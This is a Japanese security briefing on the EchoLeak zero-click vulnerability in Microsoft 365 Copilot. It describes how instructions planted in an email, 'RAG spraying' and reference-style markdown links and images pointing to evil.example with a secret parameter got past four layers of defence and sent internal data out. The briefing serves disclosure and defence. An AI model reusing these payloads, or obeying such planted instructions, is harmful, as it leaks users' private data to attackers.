SECURITY BRIEFING · AI × DATA EXFILTRATION
Aim Labs / Cato AI Labs「Breaking down 'EchoLeak'」および CVE-2025-32711 の公開情報を一次情報として、記述を1件ずつ照合した解説
攻撃者が送るのは、社外から届くふつうのメール1通だけ。利用者はそれを開く必要すらない。後日その利用者が Copilot に何か質問すると、社内データが攻撃者のサーバへ送られる——という経路が成立していた。
報道では「AI 固有の新しい脆弱性」として語られるが、一次情報を読むと構造はもう少し込み入っている。AI 固有の欠陥(信頼できない入力が LLM に特権データを参照させる)と、従来型の実装漏れ(マークダウンの記法漏れ、正規エンドポイントの転用)が連鎖して初めて成立した。前者だけでは持ち出す出口がなく、後者だけでは持ち出す中身が集まらない。どちらか一方を塞いでも止まらなかった、というのがこの事案の要点である。
Aim Labs はこれを「主要な AI アプリケーションで見つかった初のゼロクリック脆弱性」とし、攻撃技法に「LLM スコープ違反(LLM Scope Violation)」という名前を与えた。同種の欠陥は他の RAG チャットボットや AI エージェントにも現れうるとしている。本稿ではこれをカテゴリ主張として扱い、地の文では断定しない。
攻撃チェーンの技術的な記述と「スコープ違反」という概念枠組みは、発見者である Aim Labs(現 Cato AI Labs)に由来する単一の出所である。一方、脆弱性の実在・深刻度・修正状況は Microsoft と NIST NVD が独立に裏付けている。なお発見者は、本研究に基づくランタイムガードレール製品を開発・販売している。
M365 Copilot は RAG 型のチャットボットで、質問に関連する情報を Microsoft Graph から引いてくる。取得先はメールボックス、OneDrive、Office ファイル、社内 SharePoint、Teams のチャット履歴。基盤 LLM は OpenAI の GPT-4。
Microsoft はベストプラクティスとされる防御を複数重ねていた。EchoLeak はその4つすべてを、いずれも派手ではない方法で抜けている。
通常の記法だけを見て削除していたため、次の書き方が素通りした。表示上の見た目は同じである。
削除された: [表示テキスト](https://evil.example/?p=<secret>)
削除されなかった:
[表示テキスト][ref]
[ref]: https://evil.example/?p=<secret>
画像も同様(こちらはクリック不要でブラウザが取得する):
![代替テキスト][ref]
[ref]: https://evil.example/?p=<secret>
CSP の許可ドメインを踏み台にする経路は2種類あった。SharePoint を使う経路は、利用者が攻撃者のサイトへの招待を受諾している必要があり、完全なゼロクリックではない。招待も特別な操作も不要だったのは Teams の URL プレビュー用エンドポイントを使う経路のみである。「ゼロクリック」という表現が当てはまるのは後者に限られる——この区別は発見者自身が明記している。
マークダウンや CSP を直しても残るのが、次の一点である。悪性メールの中に置かれた指示は、こう書かれていた。
悪性メールは、利用者が何を質問しても検索に引っかかる必要がある。そのための工夫が RAG スプレーである。
長大なメール1通を送り、チャンク分割されることを利用した。「従業員オンボーディングの完全ガイド」「人事 FAQ の完全ガイド」「休職管理の完全ガイド」…と話題を変えた見出しを並べ、各節に同じ攻撃指示を仕込む。PoC では、これだけで様々な話題の質問に対して悪性メールが引かれるようになったという。
文字置換などのランダムな加工は LLM の読解を損なわないが埋め込みは変える、という仮説を text-embedding-ada-002 で検証し、原文と加工文のコサイン類似度が 0.7 まで下がることを示している(「グリーティングカードの文面」と「科学哲学の探究」の間より低い)。ただし Copilot が使う埋め込みモデルが非公開のため、この理論は PoC では使われていない。
発見者は、検索がベクトル DB に基づくという前提について「M365 Copilot でそうであるかもしれないし、そうでないかもしれない」と明記している。RAG スプレーの有効性の説明は、この推測の上に立っている。
同じ脆弱性に、Microsoft と NIST が異なるスコアを付けている。差は2項目だけだが、その2項目が「LLM のスコープ違反をセキュリティ境界の越境とみなすか」という未解決の問いに対応している。
CWE の割り当ても一度変更されている。当初は CWE-77(コマンドインジェクション)だったが、2026年2月20日に Microsoft により CWE-74(下流コンポーネントで使われる出力の不適切な無害化)へ改められた。NVD の記述は「M365 Copilot における AI コマンドインジェクション」のままである。この種の事案を既存の分類体系のどこに収めるかは、公開から1年以上を経てもなお定まっていない。
| 項目 | 内容 | 評価 | 備考 |
|---|---|---|---|
| 漏洩しうる範囲 | Copilot の LLM 文脈にある任意のデータ。会話履歴全体、Microsoft Graph から取得した資源、事前投入された利用者名・組織名を含む | 広い | 持ち出す内容に制限がない点が従来研究との違い |
| 必要な攻撃前提 | 被害者へメールを送れること。送信元の制限はなく、開封も不要 | 低い | 管理者設定でも利用者の振る舞いでも防げなかった(発見者の認識の範囲で) |
| 成立する会話形態 | 単一ターンでも複数ターンでも実行可能 | 高 | — |
| 突破された防御 | XPIA 分類器/外部リンク削除/CSP/出典表示の4層 | 高 | いずれもベストプラクティスとされていたもの |
| 顧客への実害 | 研究側・Microsoft の双方が「影響を受けた顧客は確認されていない」としている | 確認なし | — |
| 修正状況 | 2025年6月に対処済み。ベンダー側でホストされるサービスとして扱われ、利用者側の適用作業は不要 | 対処済み | NVD タグ exclusively-hosted-service |
攻撃チェーンの技術的詳細と「LLM スコープ違反」という概念枠組みは、発見者単独の記述に依拠している。一方、脆弱性の実在・識別子・深刻度・CWE 分類・修正状況は Microsoft と NIST NVD が独立に記録している。「そういう脆弱性があって直された」ことは第三者が裏付けているが、「どう抜けたか」の詳細は発見者の記述のみという状態である。
※ 引用で示した箇所は発見者の見解、それ以外は編集部の解釈であり、一次情報に明記された結論ではありません。
この事案の教訓は「AI 向けの新しい防御を1つ買えば済む」ではない。分類器(AI 側)とマークダウン処理・CSP(従来側)の両方に穴があったから通った。逆に言えば、どちらかを堅くしていれば止められた可能性がある。AI 導入時のレビューで、従来型の出力サニタイズと外部通信の許可リストを見直す価値は高い。
LLM の応答が HTML やマークダウンとしてレンダリングされ、そこから外部へ通信が発生しうる設計は、それ自体が持ち出し経路になる。自社で RAG アプリを構築している場合、「モデルの出力が最終的にブラウザで何を実行させうるか」を、プロンプト対策とは別に点検する必要がある。
発見者は「人間宛の指示に見えるメールをプロンプトインジェクションとして検出するのは本質的に難しい(が、まったく達成不可能ではない)」としている。入力側での判別に依存するより、「信頼できない入力が、文脈内の特権データを参照させていないか」という実行時の観点のほうが筋がよい、というのが提案の骨子である。
本件は2025年6月に修正済みで、実害も確認されていない。「Copilot は危険」という結論には結びつかない。一方で、発見者が言うとおり同種の設計上の弱点が他の RAG アプリや AI エージェントにも存在しうるなら、影響範囲は M365 に限られない。自社で組んだ AI アプリのほうが、この観点でのレビューを受けていない可能性が高いという点は考慮に値する。
メール1通で社内データが外部へ出る経路が、主要な AI アシスタントに実在した。すでに修正され、被害も確認されていない。ただしこの事案が示したのは特定製品の欠陥ではなく、「信頼できない外部入力と社内データを同じ文脈に置く」という RAG の設計そのものが持つ構造的な弱点である。自社で AI アプリを構築・導入している場合、確認すべきは3点——外部由来のテキストがモデルの文脈に入る経路はどこか、モデルの出力から外部へ通信が発生しうるか、そして両者が繋がったときに何が持ち出せるか。